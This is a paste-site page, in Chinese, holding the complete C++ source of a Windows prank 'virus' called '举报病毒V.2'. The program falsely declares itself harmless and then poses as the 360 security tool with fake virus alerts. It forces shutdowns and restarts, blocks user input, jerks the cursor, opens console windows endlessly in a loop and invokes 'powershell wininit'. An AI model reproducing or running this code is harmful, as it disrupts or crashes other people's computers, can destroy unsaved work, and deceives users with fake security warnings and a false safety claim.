跳到正文

剪贴板

剪贴板 peyl31zm

原文
剪贴板信息

剪贴板信息

收录
更新

举报病毒V.2


C++
#include<bits/stdc++.h>
#include<windows.h>
#include<cstdio>
using namespace std;
int main()
{
	int a = 0,b = 0,c = 0,d = 0,e = 0;
	MessageBox(NULL,"此程序无毒\n作者:pyy1","声明 ",MB_OK+64);
	while(1)
	{
		a = MessageBox(NULL,"你爱举报吗?","360安全小卫士",MB_YESNO+32);
		b = 0;
		if(a==6)
			while(b!=4)
			{
				b = MessageBox(NULL,"请你认真回答问题","360安全小卫士",MB_RETRYCANCEL+48);
				if(b==2)
				{
					MessageBox(NULL,"不要逃避,接受惩罚吧!!!","360安全小卫士",MB_OK+16);
					system("shutdown -s -t 120");
				}
			}
		else
		{
			MessageBox(NULL,"你居然不爱举报,我要举报你!!!","360安全小卫士",MB_OK+64);
			MessageBox(NULL,"你被举报了!!!","提醒",MB_OK+64);
			d = 0;
			while(d<=10)
			{
				c = MessageBox(NULL,"检测到病毒,是否关闭?","防火墙",MB_YESNO+48);
				if(c==6)
				{
					MessageBox(NULL,"拒绝访问!","提醒",MB_OK+16);
					break;
				}
				else d++;
				if(d==10)
				{
					e = MessageBox(NULL,"病毒入侵!!!是否重启解决问题?","防火墙",MB_YESNO+48);
					if(e==6)
					{
						system("shutdown -s -t 120");
						for(int i = 60;i>=1;i--)
						{
							printf("关机倒计时:%d",i);
							Sleep(998);
							system("cls");
						}
						system("shutdown -a");
						system("shutdown -r");
					}
					else
					{
						int a = time(0);
						int x=1024,y=768;
						srand((unsigned int)time(0));
						while(1)
						{
							if(time(0)-a>=10)
								system("powershell wininit");
							if(time(0)-a>=11)
								break;
							system("start");
							BlockInput(1);
							SetCursorPos(rand()%x,rand()%y);
						}
					 }
				}
			}
		}
	}
    return 0;
}

共计:73\textbf{\color{red}73} 行,1674\textbf{\color{red}1674} 个字符!!!


点击返回个人主页